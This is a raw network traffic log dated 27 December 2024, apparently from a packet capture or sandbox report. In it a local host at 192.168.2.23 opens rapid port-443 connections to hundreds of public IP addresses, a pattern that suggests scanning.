Dec 27, 2024 05:02:50.932079077 CET	14257	443	192.168.2.23	2.207.108.67
Dec 27, 2024 05:02:50.932080030 CET	14257	443	192.168.2.23	37.100.92.254
Dec 27, 2024 05:02:50.932086945 CET	14257	443	192.168.2.23	94.150.193.241
Dec 27, 2024 05:02:50.932086945 CET	14257	443	192.168.2.23	118.95.34.221
Dec 27, 2024 05:02:50.932086945 CET	14257	443	192.168.2.23	118.111.169.239
Dec 27, 2024 05:02:50.932090044 CET	14257	443	192.168.2.23	37.42.178.123
Dec 27, 2024 05:02:50.932090044 CET	14257	443	192.168.2.23	123.15.5.82
Dec 27, 2024 05:02:50.932105064 CET	14257	443	192.168.2.23	37.157.232.161
Dec 27, 2024 05:02:50.932110071 CET	14257	443	192.168.2.23	117.254.8.27
Dec 27, 2024 05:02:50.932112932 CET	14257	443	192.168.2.23	117.84.5.81
Dec 27, 2024 05:02:50.932113886 CET	14257	443	192.168.2.23	2.237.181.123
Dec 27, 2024 05:02:50.932116032 CET	14257	443	192.168.2.23	148.196.65.179
Dec 27, 2024 05:02:50.932122946 CET	14257	443	192.168.2.23	210.195.89.77
Dec 27, 2024 05:02:50.932130098 CET	14257	443	192.168.2.23	118.189.137.245
Dec 27, 2024 05:02:50.932132959 CET	14257	443	192.168.2.23	118.164.235.192
Dec 27, 2024 05:02:50.932151079 CET	14257	443	192.168.2.23	5.162.113.156
Dec 27, 2024 05:02:50.932152033 CET	14257	443	192.168.2.23	37.246.195.236
Dec 27, 2024 05:02:50.932157993 CET	14257	443	192.168.2.23	123.44.223.83
Dec 27, 2024 05:02:50.932157993 CET	14257	443	192.168.2.23	118.139.235.74
Dec 27, 2024 05:02:50.932159901 CET	14257	443	192.168.2.23	210.252.211.241
Dec 27, 2024 05:02:50.932159901 CET	14257	443	192.168.2.23	210.129.50.59
Dec 27, 2024 05:02:50.932168007 CET	14257	443	192.168.2.23	94.81.163.15
Dec 27, 2024 05:02:50.932173967 CET	14257	443	192.168.2.23	118.113.147.177
Dec 27, 2024 05:02:50.932174921 CET	14257	443	192.168.2.23	5.208.16.26
Dec 27, 2024 05:02:50.932178974 CET	14257	443	192.168.2.23	210.130.173.138
Dec 27, 2024 05:02:50.932193041 CET	14257	443	192.168.2.23	109.152.67.105
Dec 27, 2024 05:02:50.932193041 CET	14257	443	192.168.2.23	94.207.97.189
Dec 27, 2024 05:02:50.932195902 CET	14257	443	192.168.2.23	148.165.162.25
Dec 27, 2024 05:02:50.932204008 CET	14257	443	192.168.2.23	118.19.157.204
Dec 27, 2024 05:02:50.932204008 CET	14257	443	192.168.2.23	94.87.225.37
Dec 27, 2024 05:02:50.932214022 CET	14257	443	192.168.2.23	42.28.142.62
Dec 27, 2024 05:02:50.932214975 CET	14257	443	192.168.2.23	210.131.182.140
Dec 27, 2024 05:02:50.932218075 CET	14257	443	192.168.2.23	210.94.130.162
Dec 27, 2024 05:02:50.932235956 CET	14257	443	192.168.2.23	212.4.134.197
Dec 27, 2024 05:02:50.932238102 CET	14257	443	192.168.2.23	94.6.224.85
Dec 27, 2024 05:02:50.932239056 CET	14257	443	192.168.2.23	123.77.215.173
Dec 27, 2024 05:02:50.932244062 CET	14257	443	192.168.2.23	123.84.148.235
Dec 27, 2024 05:02:50.932248116 CET	14257	443	192.168.2.23	212.221.137.224
Dec 27, 2024 05:02:50.932250977 CET	14257	443	192.168.2.23	117.253.124.176
Dec 27, 2024 05:02:50.932252884 CET	14257	443	192.168.2.23	148.42.226.187
Dec 27, 2024 05:02:50.932259083 CET	14257	443	192.168.2.23	109.57.250.116
Dec 27, 2024 05:02:50.932259083 CET	14257	443	192.168.2.23	202.223.150.30
Dec 27, 2024 05:02:50.932266951 CET	14257	443	192.168.2.23	123.129.65.103
Dec 27, 2024 05:02:50.932270050 CET	14257	443	192.168.2.23	79.183.240.165
Dec 27, 2024 05:02:50.932270050 CET	14257	443	192.168.2.23	2.132.153.213
Dec 27, 2024 05:02:50.932274103 CET	14257	443	192.168.2.23	178.226.98.98
Dec 27, 2024 05:02:50.932274103 CET	14257	443	192.168.2.23	5.115.87.32
Dec 27, 2024 05:02:50.932276964 CET	14257	443	192.168.2.23	148.16.168.70
Dec 27, 2024 05:02:50.932276964 CET	14257	443	192.168.2.23	2.142.184.45
Dec 27, 2024 05:02:50.932281971 CET	14257	443	192.168.2.23	42.222.121.62
Dec 27, 2024 05:02:50.932281971 CET	14257	443	192.168.2.23	94.176.207.171
Dec 27, 2024 05:02:50.932286978 CET	14257	443	192.168.2.23	37.13.38.189
Dec 27, 2024 05:02:50.932288885 CET	14257	443	192.168.2.23	210.104.45.28
Dec 27, 2024 05:02:50.932292938 CET	14257	443	192.168.2.23	109.199.140.228
Dec 27, 2024 05:02:50.932293892 CET	14257	443	192.168.2.23	178.81.172.43
Dec 27, 2024 05:02:50.932312012 CET	14257	443	192.168.2.23	202.121.138.52
Dec 27, 2024 05:02:50.932313919 CET	14257	443	192.168.2.23	118.153.10.14
Dec 27, 2024 05:02:50.932317019 CET	14257	443	192.168.2.23	117.198.133.174
Dec 27, 2024 05:02:50.932317019 CET	14257	443	192.168.2.23	202.122.29.144
Dec 27, 2024 05:02:50.932327986 CET	14257	443	192.168.2.23	2.105.245.61
Dec 27, 2024 05:02:50.932334900 CET	14257	443	192.168.2.23	37.178.178.114
Dec 27, 2024 05:02:50.932334900 CET	14257	443	192.168.2.23	202.16.79.110
Dec 27, 2024 05:02:50.932351112 CET	14257	443	192.168.2.23	94.216.125.79
Dec 27, 2024 05:02:50.932353020 CET	14257	443	192.168.2.23	178.78.133.153
Dec 27, 2024 05:02:50.932353020 CET	14257	443	192.168.2.23	109.132.136.166
Dec 27, 2024 05:02:50.932357073 CET	14257	443	192.168.2.23	212.179.254.144
Dec 27, 2024 05:02:50.932363033 CET	14257	443	192.168.2.23	94.49.104.72
Dec 27, 2024 05:02:50.932363033 CET	14257	443	192.168.2.23	123.188.167.199
Dec 27, 2024 05:02:50.932363033 CET	14257	443	192.168.2.23	210.111.70.29
Dec 27, 2024 05:02:50.932363033 CET	14257	443	192.168.2.23	178.145.106.105
Dec 27, 2024 05:02:50.932368040 CET	14257	443	192.168.2.23	42.232.248.122
Dec 27, 2024 05:02:50.932368040 CET	14257	443	192.168.2.23	37.185.224.37
Dec 27, 2024 05:02:50.932374954 CET	14257	443	192.168.2.23	37.24.80.191
Dec 27, 2024 05:02:50.932398081 CET	14257	443	192.168.2.23	109.127.218.219
Dec 27, 2024 05:02:50.932398081 CET	14257	443	192.168.2.23	2.231.157.56
Dec 27, 2024 05:02:50.932400942 CET	14257	443	192.168.2.23	123.36.43.192
Dec 27, 2024 05:02:50.932400942 CET	14257	443	192.168.2.23	2.53.99.180
Dec 27, 2024 05:02:50.932404041 CET	14257	443	192.168.2.23	148.87.104.139
Dec 27, 2024 05:02:50.932404995 CET	14257	443	192.168.2.23	109.229.251.206
Dec 27, 2024 05:02:50.932413101 CET	14257	443	192.168.2.23	202.4.16.84
Dec 27, 2024 05:02:50.932413101 CET	14257	443	192.168.2.23	123.97.159.110
Dec 27, 2024 05:02:50.932415962 CET	14257	443	192.168.2.23	210.215.38.89
Dec 27, 2024 05:02:50.932415962 CET	14257	443	192.168.2.23	148.215.100.93
Dec 27, 2024 05:02:50.932415962 CET	14257	443	192.168.2.23	202.107.109.153
Dec 27, 2024 05:02:50.932423115 CET	14257	443	192.168.2.23	2.164.245.252
Dec 27, 2024 05:02:50.932440996 CET	14257	443	192.168.2.23	109.32.198.50
Dec 27, 2024 05:02:50.932441950 CET	14257	443	192.168.2.23	42.98.67.160
Dec 27, 2024 05:02:50.932441950 CET	14257	443	192.168.2.23	118.191.74.65
Dec 27, 2024 05:02:50.932441950 CET	14257	443	192.168.2.23	210.74.76.68
Dec 27, 2024 05:02:50.932444096 CET	14257	443	192.168.2.23	202.175.57.21
Dec 27, 2024 05:02:50.932445049 CET	14257	443	192.168.2.23	210.66.233.239
Dec 27, 2024 05:02:50.932452917 CET	14257	443	192.168.2.23	118.198.166.33
Dec 27, 2024 05:02:50.932460070 CET	14257	443	192.168.2.23	202.146.144.48
Dec 27, 2024 05:02:50.932461023 CET	14257	443	192.168.2.23	123.45.82.60
Dec 27, 2024 05:02:50.932466030 CET	14257	443	192.168.2.23	109.118.50.122
Dec 27, 2024 05:02:50.932466984 CET	14257	443	192.168.2.23	202.18.143.66
Dec 27, 2024 05:02:50.932487965 CET	14257	443	192.168.2.23	202.251.230.92
Dec 27, 2024 05:02:50.932487965 CET	14257	443	192.168.2.23	79.131.88.94
Dec 27, 2024 05:02:50.932492018 CET	14257	443	192.168.2.23	79.221.97.103
Dec 27, 2024 05:02:50.932509899 CET	14257	443	192.168.2.23	2.242.104.230
Dec 27, 2024 05:02:50.932511091 CET	14257	443	192.168.2.23	109.170.27.52
Dec 27, 2024 05:02:50.932511091 CET	14257	443	192.168.2.23	212.70.45.87
Dec 27, 2024 05:02:50.932512045 CET	14257	443	192.168.2.23	148.30.140.79
Dec 27, 2024 05:02:50.932512045 CET	14257	443	192.168.2.23	37.42.93.20
Dec 27, 2024 05:02:50.932512045 CET	14257	443	192.168.2.23	212.57.224.146
Dec 27, 2024 05:02:50.932519913 CET	14257	443	192.168.2.23	148.155.13.229
Dec 27, 2024 05:02:50.932524920 CET	14257	443	192.168.2.23	5.114.23.161
Dec 27, 2024 05:02:50.932534933 CET	14257	443	192.168.2.23	42.140.244.93
Dec 27, 2024 05:02:50.932537079 CET	14257	443	192.168.2.23	212.163.187.2
Dec 27, 2024 05:02:50.932545900 CET	14257	443	192.168.2.23	123.238.255.207
Dec 27, 2024 05:02:50.932545900 CET	14257	443	192.168.2.23	117.71.185.43
Dec 27, 2024 05:02:50.932545900 CET	14257	443	192.168.2.23	178.116.38.28
Dec 27, 2024 05:02:50.932548046 CET	14257	443	192.168.2.23	5.30.119.134
Dec 27, 2024 05:02:50.932570934 CET	14257	443	192.168.2.23	37.200.6.215
Dec 27, 2024 05:02:50.932578087 CET	14257	443	192.168.2.23	79.67.39.19
Dec 27, 2024 05:02:50.932578087 CET	14257	443	192.168.2.23	123.165.164.238
Dec 27, 2024 05:02:50.932578087 CET	14257	443	192.168.2.23	117.110.66.151
Dec 27, 2024 05:02:50.932591915 CET	14257	443	192.168.2.23	94.116.22.51
Dec 27, 2024 05:02:50.932593107 CET	14257	443	192.168.2.23	79.67.129.116
Dec 27, 2024 05:02:50.932593107 CET	14257	443	192.168.2.23	202.6.209.193
Dec 27, 2024 05:02:50.932594061 CET	14257	443	192.168.2.23	123.19.112.57
Dec 27, 2024 05:02:50.932610035 CET	14257	443	192.168.2.23	109.112.200.65
Dec 27, 2024 05:02:50.932610035 CET	14257	443	192.168.2.23	210.108.18.80
Dec 27, 2024 05:02:50.932610035 CET	14257	443	192.168.2.23	123.247.212.19
Dec 27, 2024 05:02:50.932610989 CET	14257	443	192.168.2.23	5.168.230.96
Dec 27, 2024 05:02:50.932611942 CET	14257	443	192.168.2.23	117.192.180.94
Dec 27, 2024 05:02:50.932615995 CET	14257	443	192.168.2.23	94.239.154.234
Dec 27, 2024 05:02:50.932617903 CET	14257	443	192.168.2.23	212.2.224.20
Dec 27, 2024 05:02:50.932627916 CET	14257	443	192.168.2.23	2.16.64.123
Dec 27, 2024 05:02:50.932632923 CET	14257	443	192.168.2.23	5.122.88.119
Dec 27, 2024 05:02:50.932635069 CET	14257	443	192.168.2.23	109.142.196.141
Dec 27, 2024 05:02:50.932638884 CET	14257	443	192.168.2.23	202.17.72.47
Dec 27, 2024 05:02:50.932641983 CET	14257	443	192.168.2.23	118.5.22.39
Dec 27, 2024 05:02:50.932645082 CET	14257	443	192.168.2.23	202.52.167.101
Dec 27, 2024 05:02:50.932645082 CET	14257	443	192.168.2.23	2.78.232.31
Dec 27, 2024 05:02:50.932651997 CET	14257	443	192.168.2.23	42.160.115.225
Dec 27, 2024 05:02:50.932662010 CET	14257	443	192.168.2.23	117.255.245.230
Dec 27, 2024 05:02:50.932667017 CET	14257	443	192.168.2.23	210.35.54.18
Dec 27, 2024 05:02:50.932667017 CET	14257	443	192.168.2.23	212.102.238.71
Dec 27, 2024 05:02:50.932667971 CET	14257	443	192.168.2.23	210.229.206.108
Dec 27, 2024 05:02:50.932687998 CET	14257	443	192.168.2.23	212.208.221.152
Dec 27, 2024 05:02:50.932688951 CET	14257	443	192.168.2.23	148.82.144.127
Dec 27, 2024 05:02:50.932689905 CET	14257	443	192.168.2.23	123.250.238.81
Dec 27, 2024 05:02:50.932688951 CET	14257	443	192.168.2.23	5.225.74.1
Dec 27, 2024 05:02:50.932688951 CET	14257	443	192.168.2.23	79.226.94.23
Dec 27, 2024 05:02:50.932707071 CET	14257	443	192.168.2.23	212.129.198.0
Dec 27, 2024 05:02:50.932708025 CET	14257	443	192.168.2.23	109.207.168.242
Dec 27, 2024 05:02:50.932710886 CET	14257	443	192.168.2.23	148.160.8.174
Dec 27, 2024 05:02:50.932717085 CET	14257	443	192.168.2.23	202.21.116.160
Dec 27, 2024 05:02:50.932718039 CET	14257	443	192.168.2.23	5.37.124.209
Dec 27, 2024 05:02:50.932718992 CET	14257	443	192.168.2.23	42.228.70.30
Dec 27, 2024 05:02:50.932718992 CET	14257	443	192.168.2.23	123.124.86.204
Dec 27, 2024 05:02:50.932718992 CET	14257	443	192.168.2.23	178.225.130.70
Dec 27, 2024 05:02:50.932718992 CET	14257	443	192.168.2.23	2.138.3.69
Dec 27, 2024 05:02:50.932729006 CET	14257	443	192.168.2.23	210.250.142.21
Dec 27, 2024 05:02:50.932737112 CET	14257	443	192.168.2.23	212.27.9.38
Dec 27, 2024 05:02:50.932737112 CET	14257	443	192.168.2.23	118.240.0.56
Dec 27, 2024 05:02:50.932739973 CET	14257	443	192.168.2.23	212.65.109.204
Dec 27, 2024 05:02:50.932740927 CET	14257	443	192.168.2.23	109.116.82.41
Dec 27, 2024 05:02:50.932740927 CET	14257	443	192.168.2.23	123.253.88.188
Dec 27, 2024 05:02:50.932742119 CET	14257	443	192.168.2.23	118.129.131.236
Dec 27, 2024 05:02:50.932746887 CET	14257	443	192.168.2.23	42.116.120.114
Dec 27, 2024 05:02:50.932748079 CET	14257	443	192.168.2.23	212.159.170.110
Dec 27, 2024 05:02:50.932749033 CET	14257	443	192.168.2.23	2.41.253.206
Dec 27, 2024 05:02:50.932756901 CET	14257	443	192.168.2.23	94.241.149.175
Dec 27, 2024 05:02:50.932759047 CET	14257	443	192.168.2.23	118.101.80.191
Dec 27, 2024 05:02:50.932760000 CET	14257	443	192.168.2.23	148.48.197.2
Dec 27, 2024 05:02:50.932765007 CET	14257	443	192.168.2.23	118.1.222.236
Dec 27, 2024 05:02:50.932770014 CET	14257	443	192.168.2.23	210.55.19.227
Dec 27, 2024 05:02:50.932774067 CET	14257	443	192.168.2.23	148.165.79.45
Dec 27, 2024 05:02:50.932777882 CET	14257	443	192.168.2.23	79.9.24.70
Dec 27, 2024 05:02:50.932802916 CET	14257	443	192.168.2.23	109.152.45.111
Dec 27, 2024 05:02:50.932806969 CET	14257	443	192.168.2.23	202.104.188.172
Dec 27, 2024 05:02:50.932806969 CET	14257	443	192.168.2.23	118.65.191.180
Dec 27, 2024 05:02:50.932810068 CET	14257	443	192.168.2.23	210.214.15.122
Dec 27, 2024 05:02:50.932825089 CET	14257	443	192.168.2.23	117.205.10.16
Dec 27, 2024 05:02:50.932821989 CET	14257	443	192.168.2.23	210.159.124.196
Dec 27, 2024 05:02:50.932831049 CET	14257	443	192.168.2.23	178.66.182.214
Dec 27, 2024 05:02:50.932832956 CET	14257	443	192.168.2.23	117.163.194.133
Dec 27, 2024 05:02:50.932832956 CET	14257	443	192.168.2.23	42.132.40.86
Dec 27, 2024 05:02:50.932832956 CET	14257	443	192.168.2.23	148.77.223.61
Dec 27, 2024 05:02:50.932833910 CET	14257	443	192.168.2.23	210.33.29.214
Dec 27, 2024 05:02:50.932840109 CET	14257	443	192.168.2.23	109.15.43.195
Dec 27, 2024 05:02:50.932840109 CET	14257	443	192.168.2.23	123.255.244.1
Dec 27, 2024 05:02:50.932840109 CET	14257	443	192.168.2.23	42.197.43.84
Dec 27, 2024 05:02:50.932842016 CET	14257	443	192.168.2.23	178.185.138.58
Dec 27, 2024 05:02:50.932848930 CET	14257	443	192.168.2.23	202.43.122.102
Dec 27, 2024 05:02:50.932851076 CET	14257	443	192.168.2.23	5.64.228.97
Dec 27, 2024 05:02:50.932862997 CET	14257	443	192.168.2.23	42.140.51.55
Dec 27, 2024 05:02:50.932862997 CET	14257	443	192.168.2.23	123.169.51.232
Dec 27, 2024 05:02:50.932863951 CET	14257	443	192.168.2.23	109.28.240.233
Dec 27, 2024 05:02:50.932887077 CET	14257	443	192.168.2.23	202.108.98.159
Dec 27, 2024 05:02:50.932887077 CET	14257	443	192.168.2.23	123.79.198.75
Dec 27, 2024 05:02:50.932889938 CET	14257	443	192.168.2.23	79.86.8.243
Dec 27, 2024 05:02:50.932893991 CET	14257	443	192.168.2.23	2.0.91.31
Dec 27, 2024 05:02:50.932909966 CET	14257	443	192.168.2.23	202.191.227.93
Dec 27, 2024 05:02:50.932909966 CET	14257	443	192.168.2.23	118.184.115.97
Dec 27, 2024 05:02:50.932909966 CET	14257	443	192.168.2.23	212.255.38.47
Dec 27, 2024 05:02:50.932912111 CET	14257	443	192.168.2.23	5.251.88.125
Dec 27, 2024 05:02:50.932913065 CET	14257	443	192.168.2.23	42.176.221.189
Dec 27, 2024 05:02:50.932913065 CET	14257	443	192.168.2.23	123.21.20.78
Dec 27, 2024 05:02:50.932913065 CET	14257	443	192.168.2.23	178.13.165.10
Dec 27, 2024 05:02:50.932919025 CET	14257	443	192.168.2.23	5.142.161.37
Dec 27, 2024 05:02:50.932919979 CET	14257	443	192.168.2.23	210.146.103.248
Dec 27, 2024 05:02:50.932919979 CET	14257	443	192.168.2.23	118.198.213.228
Dec 27, 2024 05:02:50.932924032 CET	14257	443	192.168.2.23	123.108.224.132
Dec 27, 2024 05:02:50.932924986 CET	14257	443	192.168.2.23	79.167.67.53
Dec 27, 2024 05:02:50.932924986 CET	14257	443	192.168.2.23	118.42.54.71
Dec 27, 2024 05:02:50.932936907 CET	14257	443	192.168.2.23	109.204.125.103
Dec 27, 2024 05:02:50.932935953 CET	14257	443	192.168.2.23	202.253.0.92
Dec 27, 2024 05:02:50.932946920 CET	14257	443	192.168.2.23	210.52.18.44
Dec 27, 2024 05:02:50.932949066 CET	14257	443	192.168.2.23	37.57.29.172
Dec 27, 2024 05:02:50.932951927 CET	14257	443	192.168.2.23	178.32.181.65
Dec 27, 2024 05:02:50.932951927 CET	14257	443	192.168.2.23	109.7.229.70
Dec 27, 2024 05:02:50.932967901 CET	14257	443	192.168.2.23	94.67.166.133
Dec 27, 2024 05:02:50.932967901 CET	14257	443	192.168.2.23	202.47.11.180
Dec 27, 2024 05:02:50.932971001 CET	14257	443	192.168.2.23	123.202.22.125
Dec 27, 2024 05:02:50.932971001 CET	14257	443	192.168.2.23	212.19.203.79
Dec 27, 2024 05:02:50.932986021 CET	14257	443	192.168.2.23	37.8.168.87
Dec 27, 2024 05:02:50.932996035 CET	14257	443	192.168.2.23	212.226.91.212
Dec 27, 2024 05:02:50.932996988 CET	14257	443	192.168.2.23	117.250.42.193
Dec 27, 2024 05:02:50.933001995 CET	14257	443	192.168.2.23	2.114.179.241
Dec 27, 2024 05:02:50.933005095 CET	14257	443	192.168.2.23	148.63.114.24
Dec 27, 2024 05:02:50.933007956 CET	14257	443	192.168.2.23	37.139.73.13
Dec 27, 2024 05:02:50.933012962 CET	14257	443	192.168.2.23	2.223.159.216
Dec 27, 2024 05:02:50.933026075 CET	14257	443	192.168.2.23	123.137.26.202
Dec 27, 2024 05:02:50.933026075 CET	14257	443	192.168.2.23	212.82.162.100
Dec 27, 2024 05:02:50.933026075 CET	14257	443	192.168.2.23	148.220.95.196
Dec 27, 2024 05:02:50.933032036 CET	14257	443	192.168.2.23	2.245.168.249
Dec 27, 2024 05:02:50.933032990 CET	14257	443	192.168.2.23	117.86.58.189
Dec 27, 2024 05:02:50.933032036 CET	14257	443	192.168.2.23	2.172.189.148
Dec 27, 2024 05:02:50.933033943 CET	14257	443	192.168.2.23	117.70.39.132
Dec 27, 2024 05:02:50.933034897 CET	14257	443	192.168.2.23	37.63.195.175
Dec 27, 2024 05:02:50.933034897 CET	14257	443	192.168.2.23	5.89.174.234
Dec 27, 2024 05:02:50.933048964 CET	14257	443	192.168.2.23	79.215.92.36
Dec 27, 2024 05:02:50.933054924 CET	14257	443	192.168.2.23	37.98.125.68
Dec 27, 2024 05:02:50.933054924 CET	14257	443	192.168.2.23	210.181.177.206
Dec 27, 2024 05:02:50.933058977 CET	14257	443	192.168.2.23	117.8.159.172
Dec 27, 2024 05:02:50.933063984 CET	14257	443	192.168.2.23	178.179.120.12
Dec 27, 2024 05:02:50.933068037 CET	14257	443	192.168.2.23	2.86.29.230
Dec 27, 2024 05:02:50.933070898 CET	14257	443	192.168.2.23	94.4.123.116
Dec 27, 2024 05:02:50.933074951 CET	14257	443	192.168.2.23	5.149.176.127
Dec 27, 2024 05:02:50.933077097 CET	14257	443	192.168.2.23	5.1.58.232
Dec 27, 2024 05:02:50.933095932 CET	14257	443	192.168.2.23	210.108.113.196
Dec 27, 2024 05:02:50.933100939 CET	14257	443	192.168.2.23	210.183.172.248
Dec 27, 2024 05:02:50.933101892 CET	14257	443	192.168.2.23	79.184.187.7
Dec 27, 2024 05:02:50.933106899 CET	14257	443	192.168.2.23	118.101.192.124
Dec 27, 2024 05:02:50.933120966 CET	14257	443	192.168.2.23	178.126.228.33
Dec 27, 2024 05:02:50.933121920 CET	14257	443	192.168.2.23	117.183.165.202
Dec 27, 2024 05:02:50.933121920 CET	14257	443	192.168.2.23	94.83.193.243
Dec 27, 2024 05:02:50.933130980 CET	14257	443	192.168.2.23	148.177.60.196
Dec 27, 2024 05:02:50.933132887 CET	14257	443	192.168.2.23	42.238.4.52
Dec 27, 2024 05:02:50.933134079 CET	14257	443	192.168.2.23	117.124.190.83
Dec 27, 2024 05:02:50.933135033 CET	14257	443	192.168.2.23	117.47.0.106
Dec 27, 2024 05:02:50.933140993 CET	14257	443	192.168.2.23	178.229.31.84
Dec 27, 2024 05:02:50.933140993 CET	14257	443	192.168.2.23	117.10.109.162
Dec 27, 2024 05:02:50.933141947 CET	14257	443	192.168.2.23	148.25.37.218
Dec 27, 2024 05:02:50.933142900 CET	14257	443	192.168.2.23	94.37.199.110
Dec 27, 2024 05:02:50.933160067 CET	14257	443	192.168.2.23	109.42.72.53
Dec 27, 2024 05:02:50.933182955 CET	14257	443	192.168.2.23	148.20.149.206
Dec 27, 2024 05:02:50.933185101 CET	14257	443	192.168.2.23	202.140.101.66
Dec 27, 2024 05:02:50.933185101 CET	14257	443	192.168.2.23	178.210.102.31
Dec 27, 2024 05:02:50.933185101 CET	14257	443	192.168.2.23	37.142.11.233
Dec 27, 2024 05:02:50.933199883 CET	14257	443	192.168.2.23	109.123.69.36
Dec 27, 2024 05:02:50.933203936 CET	14257	443	192.168.2.23	210.98.215.38
Dec 27, 2024 05:02:50.933207989 CET	14257	443	192.168.2.23	5.229.49.192
Dec 27, 2024 05:02:50.933212042 CET	14257	443	192.168.2.23	148.150.130.4
Dec 27, 2024 05:02:50.933214903 CET	14257	443	192.168.2.23	109.92.180.165
Dec 27, 2024 05:02:50.933214903 CET	14257	443	192.168.2.23	2.205.212.225
Dec 27, 2024 05:02:50.933228970 CET	14257	443	192.168.2.23	202.160.197.25
Dec 27, 2024 05:02:50.933231115 CET	14257	443	192.168.2.23	79.133.55.60
Dec 27, 2024 05:02:50.933254004 CET	14257	443	192.168.2.23	94.17.112.145
Dec 27, 2024 05:02:50.933257103 CET	14257	443	192.168.2.23	117.35.135.43
Dec 27, 2024 05:02:50.933259010 CET	14257	443	192.168.2.23	123.37.33.94
Dec 27, 2024 05:02:50.933269024 CET	14257	443	192.168.2.23	202.171.237.190
Dec 27, 2024 05:02:50.933269024 CET	14257	443	192.168.2.23	118.201.29.205
Dec 27, 2024 05:02:50.933286905 CET	14257	443	192.168.2.23	5.168.36.228
Dec 27, 2024 05:02:50.933289051 CET	14257	443	192.168.2.23	42.91.159.13
Dec 27, 2024 05:02:50.933289051 CET	14257	443	192.168.2.23	37.114.209.88
Dec 27, 2024 05:02:50.933290958 CET	14257	443	192.168.2.23	212.44.33.209
Dec 27, 2024 05:02:50.933294058 CET	14257	443	192.168.2.23	123.63.192.30
Dec 27, 2024 05:02:50.933295012 CET	14257	443	192.168.2.23	5.70.21.84
Dec 27, 2024 05:02:50.933295012 CET	14257	443	192.168.2.23	148.175.229.164
Dec 27, 2024 05:02:50.933295965 CET	14257	443	192.168.2.23	79.73.32.232
Dec 27, 2024 05:02:50.933304071 CET	14257	443	192.168.2.23	79.22.69.253
Dec 27, 2024 05:02:50.933310986 CET	14257	443	192.168.2.23	37.244.3.222
Dec 27, 2024 05:02:50.933310986 CET	14257	443	192.168.2.23	178.233.220.238
Dec 27, 2024 05:02:50.933310986 CET	14257	443	192.168.2.23	117.55.163.219
Dec 27, 2024 05:02:50.933310986 CET	14257	443	192.168.2.23	2.150.225.197
Dec 27, 2024 05:02:50.933322906 CET	14257	443	192.168.2.23	210.105.52.27
Dec 27, 2024 05:02:50.933324099 CET	14257	443	192.168.2.23	210.206.23.59
Dec 27, 2024 05:02:50.933324099 CET	14257	443	192.168.2.23	148.35.149.192
Dec 27, 2024 05:02:50.933330059 CET	14257	443	192.168.2.23	109.9.88.227
Dec 27, 2024 05:02:50.933348894 CET	14257	443	192.168.2.23	117.116.108.116
Dec 27, 2024 05:02:50.933355093 CET	14257	443	192.168.2.23	123.120.242.171
Dec 27, 2024 05:02:50.933356047 CET	14257	443	192.168.2.23	123.115.127.50
Dec 27, 2024 05:02:50.933361053 CET	14257	443	192.168.2.23	2.177.227.38
Dec 27, 2024 05:02:50.933362961 CET	14257	443	192.168.2.23	118.10.205.202
Dec 27, 2024 05:02:50.933371067 CET	14257	443	192.168.2.23	212.74.83.16
Dec 27, 2024 05:02:50.933371067 CET	14257	443	192.168.2.23	123.36.250.135
Dec 27, 2024 05:02:50.933379889 CET	14257	443	192.168.2.23	210.137.145.226
Dec 27, 2024 05:02:50.933382034 CET	14257	443	192.168.2.23	37.188.146.106
Dec 27, 2024 05:02:50.933386087 CET	14257	443	192.168.2.23	42.102.64.85
Dec 27, 2024 05:02:50.933386087 CET	14257	443	192.168.2.23	210.248.171.185
Dec 27, 2024 05:02:50.933386087 CET	14257	443	192.168.2.23	212.152.93.13
Dec 27, 2024 05:02:50.933391094 CET	14257	443	192.168.2.23	202.184.164.172
Dec 27, 2024 05:02:50.933393002 CET	14257	443	192.168.2.23	148.127.221.184
Dec 27, 2024 05:02:50.933398008 CET	14257	443	192.168.2.23	210.70.148.126
Dec 27, 2024 05:02:50.933398008 CET	14257	443	192.168.2.23	118.57.99.75
Dec 27, 2024 05:02:50.933401108 CET	14257	443	192.168.2.23	178.108.246.124
Dec 27, 2024 05:02:50.933410883 CET	14257	443	192.168.2.23	118.166.175.95
Dec 27, 2024 05:02:50.933410883 CET	14257	443	192.168.2.23	148.172.179.174
Dec 27, 2024 05:02:50.933433056 CET	14257	443	192.168.2.23	212.99.99.21
Dec 27, 2024 05:02:50.933437109 CET	14257	443	192.168.2.23	79.139.98.241
Dec 27, 2024 05:02:50.933439016 CET	14257	443	192.168.2.23	42.45.169.192
Dec 27, 2024 05:02:50.933439970 CET	14257	443	192.168.2.23	123.252.169.152
Dec 27, 2024 05:02:50.933451891 CET	14257	443	192.168.2.23	117.20.2.103
Dec 27, 2024 05:02:50.933458090 CET	14257	443	192.168.2.23	5.170.92.195
Dec 27, 2024 05:02:50.933458090 CET	14257	443	192.168.2.23	148.49.166.138
Dec 27, 2024 05:02:50.933463097 CET	14257	443	192.168.2.23	178.57.239.77
Dec 27, 2024 05:02:50.933473110 CET	14257	443	192.168.2.23	5.114.225.253
Dec 27, 2024 05:02:50.933481932 CET	14257	443	192.168.2.23	202.155.163.35
Dec 27, 2024 05:02:50.933482885 CET	14257	443	192.168.2.23	79.172.164.167
Dec 27, 2024 05:02:50.933485985 CET	14257	443	192.168.2.23	148.219.67.134
Dec 27, 2024 05:02:50.933485985 CET	14257	443	192.168.2.23	212.130.192.108
Dec 27, 2024 05:02:50.933490992 CET	14257	443	192.168.2.23	37.90.225.106
Dec 27, 2024 05:02:50.933516026 CET	14257	443	192.168.2.23	79.130.136.111
Dec 27, 2024 05:02:50.933518887 CET	14257	443	192.168.2.23	5.48.189.210
Dec 27, 2024 05:02:50.933521032 CET	14257	443	192.168.2.23	117.112.180.230
Dec 27, 2024 05:02:50.934199095 CET	56474	443	192.168.2.23	37.167.35.9
Dec 27, 2024 05:02:50.935060024 CET	57928	443	192.168.2.23	212.42.196.121
Dec 27, 2024 05:02:50.935085058 CET	443	57928	212.42.196.121	192.168.2.23
Dec 27, 2024 05:02:50.935112953 CET	57928	443	192.168.2.23	212.42.196.121
Dec 27, 2024 05:02:50.935133934 CET	443	57928	212.42.196.121	192.168.2.23
Dec 27, 2024 05:02:50.935153008 CET	35634	443	192.168.2.23	79.117.36.116
Dec 27, 2024 05:02:50.935167074 CET	443	35634	79.117.36.116	192.168.2.23
Dec 27, 2024 05:02:50.935177088 CET	35634	443	192.168.2.23	79.117.36.116
Dec 27, 2024 05:02:50.935198069 CET	45762	443	192.168.2.23	148.145.179.7
Dec 27, 2024 05:02:50.935198069 CET	45762	443	192.168.2.23	148.145.179.7
Dec 27, 2024 05:02:50.935211897 CET	443	35634	79.117.36.116	192.168.2.23
